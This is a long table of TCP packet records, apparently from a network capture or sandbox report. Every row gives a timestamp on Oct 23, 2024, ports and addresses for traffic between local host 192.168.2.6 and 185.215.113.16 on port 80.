Oct 23, 2024 17:51:28.254434109 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.254472017 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.254486084 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.254492998 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.254497051 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.254535913 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.254576921 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.254587889 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.254599094 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.254611969 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.254621983 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.254628897 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.254641056 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.254652977 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.254657030 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.254657030 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.254678965 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.254690886 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.254699945 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.254705906 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.254712105 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.254735947 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.254735947 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.254780054 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.254791021 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.254816055 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.254827976 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.254837990 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.254848003 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.254852057 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.254872084 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.254898071 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.254918098 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.254929066 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.254940987 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.254956007 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.254973888 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.254985094 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.254997015 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.255019903 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.255139112 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.255151033 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.255162001 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.255167007 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.255172014 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.255182028 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.255184889 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.255196095 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.255201101 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.255213976 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.255217075 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.255228996 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.255239010 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.255240917 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.255255938 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.255505085 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.258663893 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.258663893 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.439032078 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.444413900 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.717057943 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.717088938 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.717102051 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.717149973 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.717164993 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.717181921 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.717186928 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.717196941 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.717214108 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.717221022 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.717221022 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.717231035 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.717272997 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.717284918 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.717298985 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.717313051 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.717324018 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.717327118 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.717335939 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.717344999 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.717360020 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.717372894 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.717657089 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.717684031 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.717710972 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.717726946 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.717757940 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.717772961 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.717783928 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.717787981 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.717803955 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.717813015 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.717844009 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.717859030 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.717869997 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.717875004 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.717881918 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.717890978 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.717906952 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.717916012 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.717921019 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.717938900 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.717947960 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.717955112 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718013048 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718030930 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.718038082 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718053102 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718065023 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.718070030 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718085051 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718097925 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718122959 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718122959 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.718137980 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718153954 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718168020 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718178034 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.718183041 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718198061 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718209028 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.718213081 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718229055 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718239069 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.718252897 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.718272924 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718322039 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718337059 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718353033 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718364000 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.718368053 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718383074 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718394041 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.718408108 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718421936 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718432903 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.718446970 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718458891 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718472004 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.718472958 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718496084 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718518972 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718522072 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.718544006 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718544960 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.718559980 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718575954 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718585968 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.718590975 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718600035 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.718609095 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718631983 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718636036 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.718656063 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718671083 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718686104 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718700886 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718713999 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.718714952 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718739033 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718739033 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.718754053 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718769073 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718779087 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.718795061 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718817949 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718820095 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.718833923 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718848944 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718858957 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.718864918 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718880892 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718895912 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718909979 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718911886 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.718925953 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.718935013 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.719052076 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.719052076 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.834955931 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.834995985 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835026026 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835052967 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835057974 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.835069895 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835087061 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835112095 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835120916 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.835129976 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835150957 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835155964 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.835166931 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835172892 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.835194111 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835210085 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835213900 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.835227013 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835242033 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835259914 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835287094 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835305929 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835308075 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.835336924 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835355043 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835365057 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.835385084 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835402012 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835410118 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.835428953 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835443974 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835449934 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.835464954 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835484982 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.835490942 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835508108 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835511923 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.835524082 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835545063 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.835550070 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835565090 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835580111 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835597038 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835602045 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.835624933 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835639000 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835661888 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835670948 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.835680008 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835695982 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835710049 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835720062 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.835720062 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.835726023 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835741997 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835751057 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.835757971 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835772991 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835781097 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.835793972 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835796118 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.835822105 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835838079 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835846901 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.835854053 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835870028 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835876942 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.835886955 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835901976 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835923910 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.835932016 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835944891 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835958958 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835973024 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.835973978 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.835999012 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.836004019 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.836030006 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.836030960 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.836049080 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.836065054 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.836071968 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.836080074 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.836096048 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.836103916 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.836112022 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.836127043 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.836133003 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.836141109 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.836157084 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.836163998 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.836174011 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.836190939 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.836203098 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.836205959 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.836221933 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.836227894 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.836239100 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.836256981 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.836277008 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.836345911 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.840281963 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.871959925 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.871978998 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.871994972 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.872015953 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.872031927 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.872047901 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.872046947 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.872092009 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.872143984 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.872169018 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.872170925 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.872185946 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.872200966 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.872219086 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.872236967 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.872245073 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.872253895 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.873364925 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.873395920 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.873512030 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.873527050 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.873543024 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.873558998 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.873569012 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.873575926 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.873581886 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.873598099 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.873646021 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.873661995 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.873676062 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.873697996 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.873701096 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.873723030 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.873739004 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.873745918 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.873754978 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.873770952 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.873776913 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.873786926 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.873811007 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.873814106 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.873832941 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.873838902 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.873850107 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.873867989 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.873884916 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.873889923 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.873900890 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.873917103 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.873924017 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:28.873933077 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:28.873950005 CEST	80	49763	185.215.113.16	192.168.2.6
